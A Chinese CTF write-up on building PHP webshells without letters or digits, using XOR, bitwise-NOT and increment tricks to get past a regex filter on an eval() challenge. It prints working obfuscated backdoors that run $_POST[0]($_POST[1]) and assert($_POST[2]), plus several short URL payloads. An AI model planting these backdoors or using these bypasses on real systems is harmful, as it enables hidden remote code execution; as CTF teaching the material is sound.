花式构造没有数字字母的webshell 问题引入 之前遇到一个题,如下:
<?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?> 另附上我写的flag.php,作为完整测试 //flag.php <?php function getFlag(){ $flag = "flag{you_get_me}"; echo $flag; } ?>
虽然之前遇到类似的,但是把长度限制了,一时还是有点懵住,特记录分享。
php基础知识 想花式构造webshell,需要先了解一下php中的一些语法知识。
异或运算^ 在php中的字符串变量异或,会先将字符串转换成 ASCII 值,再将 ASCII 值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串。
php > echo '#'^'|'; _ >>> bin(ord('|')).replace('0b','') '1111100' >>> bin(ord('#')).replace('0b','') '100011' >>> bin(ord('_')).replace('0b','') '1011111' >>> chr(int(0b1011111)) '_' '#' 二进制:00100011 '|' 二进制: 01111100 异或之后得到: 01011111 即'_'
取反运算~ 一般利用汉字,因为汉字的uniocode占3字节。可以利用其构造字母。
php > echo ~'生'; k` php > echo ~'生'[1]; k php > echo ~'生'[2]; `
递增运算 php > echo $_; a php > echo ++$_; b php > echo $_; b php > echo --$_; b php > $_ = 'z'; php > echo ++$_; aa
弱类型-不用数字构造数字 php 中未定义的变量默认值为 null,由php弱类型null==false==0
所以能通过对未定义变量的自增操作来得到一个数字。
php > $_++;echo $_; PHP Notice: Undefined variable: _ in php shell code on line 1 1 //加个@不会报错 php > @$_++;echo $_; 1
null==null==1,只能是一不能增减
php > $_=_==_;echo $_; PHP Notice: Use of undefined constant _ - assumed '_' in php shell code on line 1 PHP Notice: Use of undefined constant _ - assumed '_' in php shell code on line 1 1 //加个@不会报错 php > @$_=_==_;echo $_; 1 php > echo $_++;
有了数字1也就能构造其他数字
一个简单的例子 之前遇到类似的,构造没有数字字母的webshell的题目。 一个简单的例子,如下:
<?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); }
可以利用一些操作,如异或^
<?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?>
中文取反
<?php $__=('>'>'<')+('>'>'<');//$__2 $_=$__/$__;//$_1 $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST $_=$$_____;//$_=$_POST $____($_[$__]);//assert($_POST[2])
回到问题 <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?>
题目要求构造的函数为getFlag
,但是加了一个限制条件,length < 40
方法1(符号异或^) 虽然有了长度限制,但是基本思路不变,写个脚本来爆出想要的结果_GET
或者_POST
payload1
php > echo "`{{{"^"?<>/"; _GET ?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag $_ = _GET ${$_}[_]() //$_GET[_]()
这里很巧妙的利用php的可变变量。 还有一点很巧妙,检测变量code
,但是没有对其他的变量检测,其他变量可以用字母数字。
若禁用下划线_
还可以用以下代替_
${"`{{{"^"?<>/"}[("#"^"|")]();&_=getFlag
方法二(直接构造函数getFlag) payload2
?code=$_=('][%2B:@_:'^':>_|,>]');$_();
直接用这个函数,不用传参进去,但是缺点是没有真正拿到shell,而且构造有点难。
方法3(利用一些不可见字符的url编码取反) 这种方法类似中文的那种取反操作。 有个payload3 是这样子:
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
这个是把getFlag取反然后URL编码
另一个payload4 是这样的:
?code=${~"%A0%B8%BA%AB"}[%aa]();&%aa=getFlag
~ 在 {} 中执行了取反操作,所以 ${~"\xa0\xb8\xba\xab"}
取反相当于 $_GET,拼接出了 $_GET['\xaa']();
,传入 \xaa=getFlag()
从而执行了函数
payload5
code=$啊=(']@\`@@]'^':%(&,!:');$啊();
$啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。
其实在掌握基本方法之后,payload有很多,原理其实基本相同,只是在构造的时候,仁者见仁。
参考链接 记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)
离别歌-webshell without alphanum